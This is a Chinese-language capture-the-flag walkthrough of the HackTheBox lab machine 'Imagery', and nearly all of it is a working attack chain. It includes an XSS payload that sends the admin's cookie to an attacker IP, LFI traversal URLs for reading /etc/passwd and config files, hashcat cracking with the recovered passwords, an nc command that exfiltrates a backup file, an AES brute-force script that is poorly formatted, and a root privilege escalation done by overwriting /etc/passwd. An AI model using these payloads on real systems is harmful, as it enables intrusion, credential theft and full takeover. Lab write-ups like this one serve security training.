HTB 赛季9靶场 - Imagery
nmap -F 10.129.187.110 --min-rate=1000 -sV -sC && sudo nmap -F 10.129.187.110 --min-rate=1000 -sU && nmap -p- 10.129.187.110 --min-rate=1000 && sudo nmap -p- 10.129.187.110 --min-rate=1000 -sU
XSS攻击 - steal cookie
我们发现了一个页面注册并登录。
我们进入Report Bug页面,这个页面会和Admin交互
所以我们上XSS尝试
<img src=x onerror="location.href='http://10.10.16.7/steal?cookie='+ document.cookie">
打开python http服务器,监听
python -m http.server 80
配置burp后使用admin进入服务器
我们看到了admin的dashboard
进入dashboard,可能会变为404,因为我们的XSS问题,所以要删除哪个带有XSS的内容
LFI漏洞
我们下载用户的log,注意到路径
http://10.129.187.110:8000/admin/get_system_log?log_identifier=testuser%40imagery.htb.log
尝试LFI
http://10.129.187.110:8000/admin/get_system_log?log_identifier=../../../../../etc/passwd
了解用户情况,我们尝试窃取用户的id_rsa全部失败
root
web
mark
LFI利用 - 查阅源码 - 查看ssh配置 - 窃取配置文件
上网查找配置文件位置,我们发现配置文件名为config.py。我们进行路径喷洒
http://10.129.187.110:8000/admin/get_system_log?log_identifier=../config.py
我们进一步访问db.json文件
http://imagery.com:8000/admin/get_system_log?log_identifier=../db.json
hashcat破解密码
我们使用hashcat破解密码
2c65c8d7bfbca32a3ed42596192384f6
5d9c1d507a3f76af1e5c97a3ad1eaa31
2c65c8d7bfbca32a3ed42596192384f6:iambatman
ssh密码登录禁用确认
我们尝试喷洒iambatman但是失败了,并且ssh说明了公钥不正确。
我们为此查看sshd配置文件,明确了不允许密码登录
http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../../etc/ssh/sshd_config
LFI - 源码审计python - flask
这意味着我们只能通过窃取密钥或者Webshell,来获取shell。我们尝试了窃取密钥但没有成功。转向webshell,为此我们希望读取源码。经过了解flask框架,app.py这个通常是启动函数。
http://imagery.com:8000/admin/get_system_log?log_identifier=../app.py
我们对于这几个非常感兴趣,因为是用户自己定义的,所以继续窃取其他的py文件。下面我们发现了一处危险函数。
http://imagery.com:8000/admin/get_system_log?log_identifier=../api_edit.py
subprocess是python的系统命令执行语句,同时command是通过字符串拼接所以可能导致RCE问题。下面我们确认是否可控制x,y,width,height位置,发现我们完全可控制执行的命令参数。
到此我们发现该功能点存在RCE漏洞,所以我们确定功能点访问路径。我们发现api路径为,/apply_visual_transform。且需要的account需要,testuser。
上面我们所破解密码的用户正好是testuser
testuser@imagery.htb / iambatman
攻击路径确认,我们首先登录testuser账户,然后使用对应的RCE接口。首先上传一个图片,以保证imageid合法,再输入对应payload
翻找主机文件 - backup文件
我们在主机上找到了backup文件
传输该文件到我们的攻击机
nc -q 0 10.10.16.7 8888 < web_20250806_120723.zip.aes####kali shell
nc -lvnp 8888 > backup.zip.aes
在kali分析文件
file backup.zip.aes
pyAesCrypt暴力解密AES加密文件
我们在google查询pyAesCrypt,发现了它是一种AES加密工具,需要密码才能破解备份文件。破解密码的方法是有的
pyAesCrypt crack password decrypt
好吧,这里貌似需要我们自己编程了,我找了半天也没找到。屎山代码,各位见谅。
import pyAesCryptGREEN = "\033[92m" # 亮绿色
RESET = "\033[0m" # 恢复默认颜色def decrypt(password,AESfile,output):try:res = pyAesCrypt.decryptFile(AESfile, output, str(password))if not res:return Trueexcept:return Falsewith open('/home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt', 'rb') as f: # change it!passwords = [line.decode('latin1').strip() for line in f]for password in passwords:res = decrypt(password,"backup.zip.aes","backup.zip") # change it!if res:print(f"{GREEN}[+]{password}{RESET}")breakelse:print(f"[-]{password}")
我们使用脚本,破解了AES
python decrypt.py
很好,我们进入下一步收获密码了!我们重新枚举db.json。
提取其中的密码hash,并破解
cat db.json| jq .users[].password | cut -d "\"" -f 2
hashcat -a 0 -m 0 hash /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt
2c65c8d7bfbca32a3ed42596192384f6:iambatman
01c3d2e5bdaf6134cec0a367cf53e535:supersmash
很好我们尝试su切换用户
su mark
supersmash
升级一下shell,用着太难受了
python3 -c 'import os,pty;pty.spawn("bash")'
sudo -l 权限提升- charcol 权限提升 - living off the land
sudo -l 发现了一个有趣的elf
/usr/local/bin/charcol
我们尝试使用了一下,发现是个备份工具,还是root权限,DDDD!
我们测试这个备份工具,首先需要重置他的密码。重置完毕后我们尝试备份,但是失败了。
sudo /usr/local/bin/charcol -R
sudo /usr/local/bin/charcol shell
> backup -i /root -f
修改etc/passwd文件提权
寻找到其他的可利用点,我们可以借助fetch功能来从远程服务器下载内容,然后强制overwrite内容。我们利用这个特性,修改了/etc/passwd文件。
mark@Imagery:/tmp$ sudo /usr/local/bin/charcol shell
charcol> fetch http://10.10.16.7/pwn -o /etc/passwd -f
charcol> exit
mark@Imagery:/tmp$ cat /etc/passwd
cat /etc/passwd
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
web:x:1001:1001::/home/web:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
mark:x:1002:1002::/home/mark:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
dhcpcd:x:110:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
我们将root的x去掉了,所以我们可以直接su root完成权限切换
su root